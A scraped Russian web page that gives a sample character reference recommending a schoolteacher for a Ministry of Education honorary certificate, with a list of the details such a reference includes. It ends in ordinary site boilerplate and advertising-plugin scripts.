<li>Анкетные сведения о сотруднике.</li> <li>Описание карьерного роста, качеств работника: профессиональных, деловых, личностных.</li> <li>Развёрнутые сведения о достижениях в осуществлении проектов, вкладах в развитие производства, инновационных разработках.</li> <li>Участие в симпозиумах, конференциях.</li> </ol> <p><strong>Что выгоднее открыть начинающему бизнесмену: ИП или ООО? Подробный ответ содержится в этой статье.</strong></p> <p><strong>Анкетные данные соискателя награды детализируем:</strong></p> <ul> <li>фамилия, имя, отчество;</li> <li>год рождения;</li> <li>образование, что закончил;</li> <li>положение в семье;</li> <li>должность, производственные обязанности;</li> <li>стаж трудовой деятельности общий;</li> <li>стаж на данном предприятии;</li> <li>предыдущие награды, звания;</li> <li>научные труды.</li> </ul> <p><strong>Что такое первичная документация, как ее правильно вести и хранить, вы можете прочесть тут.</strong></p> <p style="clear: both"> <noscript></noscript>Пример характеристики для награждения почетной грамотой бухгалтера.</p> <h3><span id="i-51">Пример характеристики для награждения Почетной грамотой Министерства образования</span></h3> <h5>ОРЕНБУРГСКАЯ ОБЛАСТЬ</h5> <p><strong>СОРОЧИНСКИЙ ГОРОДСКОЙ ОКРУГ</strong></p> <p><strong>МБОУ “СРЕДНЯЯ ОБЩЕОБРАЗОВАТЕЛЬНАЯ ШКОЛА № 99”</strong></p> <p>Оренбургская область, 461900, г. Сорочинск, ул. Процишина,21, тел. (35346)12-34-56, е-mail: shkola99@mail.ru</p> <p><strong>Министерству науки и образования</strong></p> <p><strong>Российской федерации</strong></p> <p><strong>ХАРАКТЕРИСТИКА</strong></p> <p><strong>ДЛЯ НАГРАЖДЕНИЯ ПОЧЁТНОЙ ГРАМОТОЙ МИНИСТЕРСТВА</strong></p> <p><strong>Фамилия, имя, отчество:</strong> Воробьёва Светлана Павловна</p> <p><strong>Год рождения:</strong> 1950</p> <p><strong>Образование:</strong> высшее, окончила Челябинский государственный педагогический институт в 1977 году</p> <p><strong>Специальность:</strong> русский язык и литература</p> <p><strong>Квалификация:</strong> учитель средней школы</p> <p><strong>Стаж работы общий:</strong> 45 лет</p> <p><strong>Педагогический стаж работы:</strong> 33 года</p> <p><strong>Стаж работы в указанном учреждении:</strong> 22 года</p> <p><strong>Научные труды:</strong> «Методика психологического и дидактического сопровождения в обучении детей с ограниченными возможностями», «Проблемы интеграции детей с особыми потребностями (потребности и реальность)», «Механизм и средства образования детей с особыми потребностями».</p> <p><strong>Награды, поощрения, звания:</strong> «Специалист высшей категории», «Учитель-методист». (Перечислить благодарности, грамоты, дипломы; за какие заслуги получены).</p> <p><strong>Семейное положение:</strong> замужем, имеет дочь</p> <p>Воробьёва Светлана Павловна работает в средней общеобразовательной школе № 99 с 1988 года. За время трудовой деятельности проявила себя как педагог – новатор.</p> <blockquote> <p>Научно-методическая деятельность учителя направлена на совершенствование психолого-педагогического сопровождения обучения и воспитания учеников со сложными нарушениями развития, на решение проблем при изучении предмета.</p> </blockquote> <p>На основе индивидуально-дифференцированного подхода педагог составляет индивидуальные программы, разрабатывает методические, учебно-дидактические материалы, рекомендации. <strong>Разработки публикуются в печатных и электронных изданиях.</strong></p> <p>Выполняя требования государственной политики в отношении детей с особыми образовательными потребностями, Воробьёва С. П. направляет свою педагогическую деятельность на предоставление таким учащимся возможностей для реализации их конституционных прав.</p> <blockquote> <p>Благодаря искусно организованному учебно-воспитательному процессу, усвоение учащимися учебного материала на её уроках идёт на должном уровне.</p> </blockquote> <p>Опытом работы по вопросам инклюзивного обучения Светлана Павловна делится во время выступлений на педсоветах, на заседаниях методических комиссий, педагогических чтениях, научных конференциях.</p> <p>Воробьёва Светлана Павловна решает социально–гуманитарные проблемные вопросы семьи, в которой воспитывается ребенок с инвалидностью, предоставляет консультативные услуги родителям, пробуждает у них мудрость, чувство ответственности за воспитание и обучение ребёнка.</p> <p>Светлана Павловна пользуется уважением и любовью у воспитанников и коллег.</p> <p><strong>Воробьёва С. П. рекомендована коллективом школы к награждению Почётной грамотой Министерства науки и образования.</strong></p> <div class="flat_pm_end"></div> </div> </article> <div class="post-meta"> <div class="post-rating"> <div class="post-rating__title">Оценка статьи:</div> <div id="post-ratings-4243" class="post-ratings" data-nonce="ebbd1605ad"><noscript></noscript><noscript></noscript><noscript></noscript><noscript></noscript><noscript></noscript> (пока оценок нет)<br /><span class="post-ratings-text" id="ratings_4243_text"></span></div><div id="post-ratings-4243-loading" class="post-ratings-loading"><noscript></noscript> Загрузка...</div> </div> <div class="post-share"> <div class="post-share__title">Поделиться с друзьями:</div> <div class="likely"> <div class="twitter">Твитнуть</div> <div class="facebook">Поделиться</div> <div class="vkontakte">Поделиться</div> <div class="telegram">Отправить</div> <div class="odnoklassniki">Класснуть</div> </div> </div> </div> <meta itemprop="headline" content="Характеристика делопроизводителя на награждение пример"> <meta itemprop="author" content="nikbazulin"> <meta itemprop="datePublished" content="2020-01-10"> <meta itemprop="dateModified" content="2020-01-10"> <a itemprop="url" href="https://dosaaf68.ru/prochee/harakteristika-deloproizvoditelya-na-nagrazhdenie-primer" style="display:none">Характеристика делопроизводителя на награждение пример</a> <a itemprop="mainEntityOfPage" href="https://dosaaf68.ru/prochee/harakteristika-deloproizvoditelya-na-nagrazhdenie-primer" style="display:none">Ссылка на основную публикацию</a> <div style="display: none;" itemprop="image" itemscope itemtype="https://schema.org/ImageObject"> <noscript></noscript> <meta itemprop="width" content="320"> <meta itemprop="height" content="200"> </div> <div style="display: none;" itemprop="publisher" itemscope itemtype="https://schema.org/Organization"> <meta itemprop="name" content="Dosaaf68.ru"> <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"> <noscript></noscript> </div> </div> </div> <div class='yarpp-related'> <h3><span style="color: #ff6600;">Читайте также:</span></h3><blockquote class="check"><ol> <li><a href="https://dosaaf68.ru/dokumenty/obrazets-harakteristiki-dlya-nagrazhdeniya-blagodarstvennym-pismom" rel="bookmark" title="Образец характеристики для награждения благодарственным письмом">Образец характеристики для награждения благодарственным письмом </a></li> <li><a href="https://dosaaf68.ru/prochee/pochetnaya-gramota-eto-pooshhrenie-ili-nagrazhdenie" rel="bookmark" title="Почетная грамота это поощрение или награждение">Почетная грамота это поощрение или награждение </a></li> <li><a href="https://dosaaf68.ru/prochee/kratkaya-harakteristika-pedagoga-dlya-nagrazhdeniya-gramotoj-profsoyuza" rel="bookmark" title="Краткая характеристика педагога для награждения грамотой профсоюза">Краткая характеристика педагога для награждения грамотой профсоюза </a></li> </ol></blockquote> </div> <aside class="comments-block"> <div id="respond" class="respond"> <div class="respond__title">Добавить комментарий</div> <div id="cancel-comment-reply"><a rel="nofollow" id="cancel-comment-reply-link" href="/prochee/harakteristika-deloproizvoditelya-na-nagrazhdenie-primer#respond" style="display:none;">Нажмите, чтобы отменить ответ.</a></div>  <form action="https://dosaaf68.ru/wp-comments-post.php" method="post" class="respond-form"> <input type="text" name="author" id="author" placeholder="Ваше имя:" class="respond-form__field respond-form__name" value="" aria-required='true' /> <input type="text" name="email" id="email" placeholder="Ваш e-mail:" class="respond-form__field respond-form__email" value="" aria-required='true' /> <input type="text" name="url" id="url" placeholder="Ваш сайт:" class="respond-form__field respond-form__site" value="" /> <textarea name="comment" id="comment_textarea" rows="7" placeholder="Ваш комментарий:" class="respond-form__text respond-form__textarea"></textarea> <input name="submit" type="submit" class="respond-form__button" value="Отправить" /> <input type='hidden' name='comment_post_ID' value='4243' id='comment_post_ID' /> <input type='hidden' name='comment_parent' id='comment_parent' value='0' /> </form>  </div> </aside> </main> <aside class="sidebar sidebar_midle"> <div class="section-posts-box section"> <div class="title">Популярные статьи</div> <div class="section-posts"> <div class="section-posts__item"> <noscript></noscript> <div class="section-posts__item-title"> <a href="https://dosaaf68.ru/prochee/kak-napisat-slova-blagodarnosti-vrachu">Как написать слова благодарности врачу</a> </div> <div class="section-posts__item-text"> Как написать слова благодарности врачу Благодарность врачу от пациента в... </div> <div class="post-info section-posts__item-info"> <div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2019-12-01">01.12.2019</time> </div> </div> <div class="section-posts__item"> <noscript></noscript> <div class="section-posts__item-title"> <a href="https://dosaaf68.ru/prochee/krutye-obzyvatelstva-s-matom">Крутые обзывательства с матом</a> </div> <div class="section-posts__item-text"> Крутые обзывательства с матом Как унизить человека без мата. ТОП-100... </div> <div class="post-info section-posts__item-info"> <div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-01-09">09.01.2020</time> </div> </div> <div class="section-posts__item"> <noscript></noscript> <div class="section-posts__item-title"> <a href="https://dosaaf68.ru/prochee/nomer-telefona-trudovoj-inspektsii-v-lipetske">Номер телефона трудовой инспекции в липецке</a> </div> <div class="section-posts__item-text"> Номер телефона трудовой инспекции в липецке Государственная инспекция по труду... </div> <div class="post-info section-posts__item-info"> <div class="post-info__comment">0</div> <time class="post-info__time post-info__time_popular" datetime="2020-01-23">23.01.2020</time> </div> </div> </div> </div> </aside></div> </div> <footer class="footer" id="footer"> <nav class="footer-nav"><ul><li id="menu-item-57" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57"><a href="https://dosaaf68.ru/sitemap">Карта сайта</a></li> <li id="menu-item-556" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-556"><a href="https://dosaaf68.ru/politika-konfidentsialnosti">Политика конфиденциальности</a></li> <li id="menu-item-557" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-557"><a href="https://dosaaf68.ru/polzovatelskoe-soglashenie">Пользовательское соглашение</a></li> <li id="menu-item-558" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-558"><a href="https://dosaaf68.ru/pravoobladatelyam">Правообладателям</a></li> <li id="menu-item-559" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-559"><a href="https://dosaaf68.ru/kontakty">Контакты</a></li> </ul></nav> <div class="footer-bottom"> <div class="copy">© 2023 Все права защищены.</div> </div> </footer> </div> <script type="text/javascript">var pseudo_links = document.querySelectorAll(".pseudo-clearfy-link");for (var i=0;i<pseudo_links.length;i++ ) { pseudo_links[i].addEventListener("click", function(e){ window.open( e.target.getAttribute("data-uri") ); }); }</script><style>.lazyload,.lazyloading{opacity:0;}.lazyloaded{opacity:1;transition:opacity 300ms;}</style><noscript><style>.lazyload{display:none;}</style></noscript><script data-noptimize="1">window.lazySizesConfig=window.lazySizesConfig||{};window.lazySizesConfig.loadMode=1;</script><script async data-noptimize="1" src='https://dosaaf68.ru/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js?ao_version=2.6.1'></script><script data-noptimize="1">function c_webp(A){var n=new Image;n.onload=function(){var e=0<n.width&&0<n.height;A(e)},n.onerror=function(){A(!1)},n.src='data:image/webp;base64,UklGRhoAAABXRUJQVlA4TA0AAAAvAAAAEAcQERGIiP4HAA=='}function s_webp(e){window.supportsWebP=e}c_webp(s_webp);document.addEventListener('lazybeforeunveil',function({target:c}){supportsWebP&&['data-src','data-srcset'].forEach(function(a){attr=c.getAttribute(a),null!==attr&&c.setAttribute(a,attr.replace(/\/client\//,'/client/to_webp,'))})});</script><script type='text/javascript' src='https://dosaaf68.ru/wp-includes/js/comment-reply.min.js'></script> <script type='text/javascript'> </script> <script type='text/javascript' src='https://dosaaf68.ru/wp-content/plugins/contact-form-7/includes/js/scripts.js'></script> <script type='text/javascript'> </script> <script type='text/javascript' src='https://dosaaf68.ru/wp-content/plugins/table-of-contents-plus/front.min.js'></script> <script type='text/javascript' src='https://dosaaf68.ru/wp-content/plugins/vote2x/vote2x.js'></script> <script type='text/javascript'> </script> <script type='text/javascript' src='https://dosaaf68.ru/wp-content/plugins/wp-postratings/js/postratings-js.js'></script> <script type='text/javascript' src='https://dosaaf68.ru/wp-content/plugins/easy-fancybox/js/jquery.fancybox.min.js'></script> <script type='text/javascript'> var fb_timeout, fb_opts={'overlayShow':true,'hideOnOverlayClick':true,'showCloseButton':true,'margin':20,'centerOnScroll':false,'enableEscapeButton':true,'autoScale':true }; if(typeof easy_fancybox_handler==='undefined'){ var easy_fancybox_handler=function(){ jQuery('.nofancybox,a.wp-block-file__button,a.pin-it-button,a[href*="pinterest.com/pin/create"],a[href*="facebook.com/share"],a[href*="twitter.com/share"]').addClass('nolightbox'); /* IMG */ var fb_IMG_select='a[href*=".jpg"]:not(.nolightbox,li.nolightbox>a),area[href*=".jpg"]:not(.nolightbox),a[href*=".jpeg"]:not(.nolightbox,li.nolightbox>a),area[href*=".jpeg"]:not(.nolightbox),a[href*=".png"]:not(.nolightbox,li.nolightbox>a),area[href*=".png"]:not(.nolightbox),a[href*=".webp"]:not(.nolightbox,li.nolightbox>a),area[href*=".webp"]:not(.nolightbox)'; jQuery(fb_IMG_select).addClass('fancybox image'); var fb_IMG_sections=jQuery('.gallery,.wp-block-gallery,.tiled-gallery,.wp-block-jetpack-tiled-gallery'); fb_IMG_sections.each(function(){jQuery(this).find(fb_IMG_select).attr('rel','gallery-'+fb_IMG_sections.index(this));}); jQuery('a.fancybox,area.fancybox,li.fancybox a').each(function(){jQuery(this).fancybox(jQuery.extend({},fb_opts,{'transitionIn':'elastic','easingIn':'easeOutBack','transitionOut':'elastic','easingOut':'easeInBack','opacity':false,'hideOnContentClick':false,'titleShow':true,'titlePosition':'over','titleFromAlt':true,'showNavArrows':true,'enableKeyboardNav':true,'cyclic':false}))});}; jQuery('a.fancybox-close').on('click',function(e){e.preventDefault();jQuery.fancybox.close()}); }; var easy_fancybox_auto=function(){setTimeout(function(){jQuery('#fancybox-auto').trigger('click')},1000);}; jQuery(easy_fancybox_handler);jQuery(document).on('post-load',easy_fancybox_handler); jQuery(easy_fancybox_auto); </script> <script type='text/javascript' src='https://dosaaf68.ru/wp-content/plugins/easy-fancybox/js/jquery.easing.min.js'></script> <script type='text/javascript' src='https://dosaaf68.ru/wp-content/plugins/youtube-embed-plus/scripts/fitvids.min.js'></script> <br>detector</ins> <style> .flat__4_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .flat__4_modal-show{z-index:2000;visibility:visible} .flat__4_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .flat__4_modal-show ~ .flat__4_modal-overlay{z-index:1000;opacity:1;visibility:visible} .flat__4_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .flat__4_modal-show .flat__4_modal-content{transform:translateY(0);opacity:1} .flat__4_modal .flat__4_timer, .flat__4_modal .flat__4_cross{top:0!important} .flat__4_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .flat__4_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .flat__4_cross:after, .flat__4_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .flat__4_cross:before{transform:rotate(-45deg)} .flat__4_cross:hover:after{transform:rotate(225deg)} .flat__4_cross:hover:before{transform:rotate(135deg)} .flat__4_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .flat__4_timer span{font-size:16px;font-weight:600} .flat__4_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .flat__4_out *{max-width:none!important} .flat__4_out.top .flat__4_cross{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_cross{bottom:-0px} .flat__4_out.bottom .flat__4_cross{top:150px} .flat__4_out.show.bottom .flat__4_cross{top:-0px} .flat__4_out.right .flat__4_cross{right:auto;left:0} .flat__4_out.top .flat__4_timer{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_timer{bottom:-0px} .flat__4_out.bottom .flat__4_timer{top:150px} .flat__4_out.show.bottom .flat__4_timer{top:-0px} .flat__4_out.right .flat__4_timer{right:auto;left:0} .flat__4_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .flat__4_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .flat__4_out.left{bottom:0;right:100%;transform:translateX(0);left:auto} .flat__4_out.right{bottom:0;left:100%;transform:translateX(0);right:auto} .flat__4_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .flat__4_out.closed{min-width:0;min-height:0} .flat__4_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .flat__4_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .flat__4_out.show.left{transform:translateX(100%)} .flat__4_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .flat__4_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .flat__4_video iframe{display:block;width:100%;height:100%;position:absolute} .flat__4_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .flat__4_video_flex.show{opacity:1} .flat__4_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .flat__4_video_flex.show .flat__4_video_item{z-index:1} .flat__4_video_flex .flat__4_timer, .flat__4_video_flex .flat__4_cross{top:10px!important;right:10px!important} .flat__4_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2} </style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";document['wr'+'ite']=function(e){var t=document.createElement("div");ff(document.currentScript).after(t),flatPM_setHTML(t,e),ff(t).contents().unwrap()},window.flatPM_sticky=function(e,d,t){var a=e,l=null,f=t=t||0;function n(){if(null==l){for(var e=getComputedStyle(a,""),t="",n=0;n<e.length;n++)0!=e[n].indexOf("overflow")&&0!=e[n].indexOf("padding")&&0!=e[n].indexOf("border")&&0!=e[n].indexOf("outline")&&0!=e[n].indexOf("box-shadow")&&0!=e[n].indexOf("background")||(t+=e[n]+": "+e.getPropertyValue(e[n])+"; ");(l=document.createElement("div")).style.cssText=t+" box-sizing: border-box; width: "+a.offsetWidth+"px;",a.insertBefore(l,a.firstChild);for(var o=a.childNodes.length,n=1;n<o;n++)l.appendChild(a.childNodes[1]);a.style.padding="0",a.style.border="0"}a.style.height=l.getBoundingClientRect().height+"px";var i=a.getBoundingClientRect(),r=Math.round(i.top+l.getBoundingClientRect().height-d.getBoundingClientRect().bottom);i.top-f<=0?i.top-f<=r?(l.className="flatpm_stop",l.style.top=-r+"px"):(l.className="flatpm_fixed",l.style.top=f+"px"):(l.className="",l.style.top=""),window.addEventListener("resize",function(){a.children[0].style.width=getComputedStyle(a,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)},window.flatPM_addDays=function(e,t){var n=60*e.getTimezoneOffset()*1e3,o=e.getTime(),e=new Date;return o+=864e5*t,e.setTime(o),n!=(t=60*e.getTimezoneOffset()*1e3)&&(o+=t-n,e.setTime(o)),e},window.flatPM_adbDetect=function(){var e=document.querySelector('#adsense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!e)return!0;e=e.currentStyle||window.getComputedStyle(e,null),e=parseInt(e.height);return!(!isNaN(e)&&0!=e)},window.flatPM_setCookie=function(e,t,n){var o,i=(n=n||{path:"/"}).expires;"number"==typeof i&&i&&((o=new Date).setTime(o.getTime()+1e3*i),i=n.expires=o),i&&i.toUTCString&&(n.expires=i.toUTCString());var r,d=e+"="+(t=encodeURIComponent(t));for(r in n){d+="; "+r;var a=n[r];!0!==a&&(d+="="+a)}document.cookie=d},window.flatPM_getCookie=function(n){var e=document.cookie.split("; ").reduce(function(e,t){t=t.split("=");return t[0]===n?decodeURIComponent(t[1]):e},"");return""!=e?e:void 0},window.flatPM_testCookie=function(){var e="test_56445";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}},window.flatPM_grep=function(e,n,o){return ff.grep(e,function(e,t){return o?t==n:(t+1)%n==0})},window.flatPM_randomString=function(e){for(var t="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,i=0;i<e;i++)t+=n.charAt(Math.floor(Math.random()*o));return t},window.flatPM_random=function(e,t){return Math.floor(Math.random()*(t-e+1))+e},window.flatPM_getAllUrlParams=function(e){var e=e?e.split("?")[1]:window.location.search.slice(1),t={};if(e)for(var n=(e=e.split("#")[0]).split("&"),o=0;o<n.length;o++){var i,r=n[o].split("="),d=r[0],a=void 0===r[1]||r[1],d=d.toLowerCase();"string"==typeof a&&(a=a.toLowerCase()),d.match(/\[(\d+)?\]$/)?(t[i=d.replace(/\[(\d+)?\]/,"")]||(t[i]=[]),d.match(/\[\d+\]$/)?(r=/\[(\d+)\]/.exec(d)[1],t[i][r]=a):t[i].push(a)):t[d]?(t[d]&&"string"==typeof t[d]&&(t[d]=[t[d]]),t[d].push(a)):t[d]=a}return t};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_adbDetect=!1,flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,a=0;a<e;a++){var o=t[a].str;if(o&&t[a].subStr.test(o))return t[a].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var a=flat_pm_then[e];flatPM_next(a)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,a,e){var o=0,r=!1;return t.each(function(){var t=ff(this),e=t.text().replace(/(\s)+/g,"");if(o+=e.length,a<=o)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,a,o,r,i,l,f,s,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(a=!1)!==e&&(o=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=o.length&&e.prevUntil(o).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),0!=r.length&&e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),a||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,f=t.how.onсe.selector,s=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(f).add(i.filter(f))).length&&(l="bottom_to_top"==s?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,f=t.how.iterable.selector,s=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(f).add(i.filter(f))).length&&("bottom_to_top"==s&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(o){try{var t=[],e="",a=o.html.length;if(void 0!==o.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.role&&(void 0!==o.role.role_enabled&&-1==o.role.role_enabled.indexOf(flat_userVars.role)||void 0!==o.role.role_disabled&&-1!=o.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.geo&&(void 0!==o.geo.country_enabled&&-1==o.geo.country_enabled.indexOf(flat_userVars.country)&&-1==o.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==o.geo.country_disabled&&(-1!=o.geo.country_disabled.indexOf(flat_userVars.country)||-1!=o.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==o.geo.city_enabled&&-1==o.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==o.geo.city_disabled&&-1!=o.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+o.ID+'"]').remove();for(var r,i,l,f,s=0;s<a;s++)("∞"==o.html[s].res_of||o.html[s].res_of<=flat_userVars.winwidth)&&("∞"==o.html[s].res_to||o.html[s].res_to>flat_userVars.winwidth)&&(void 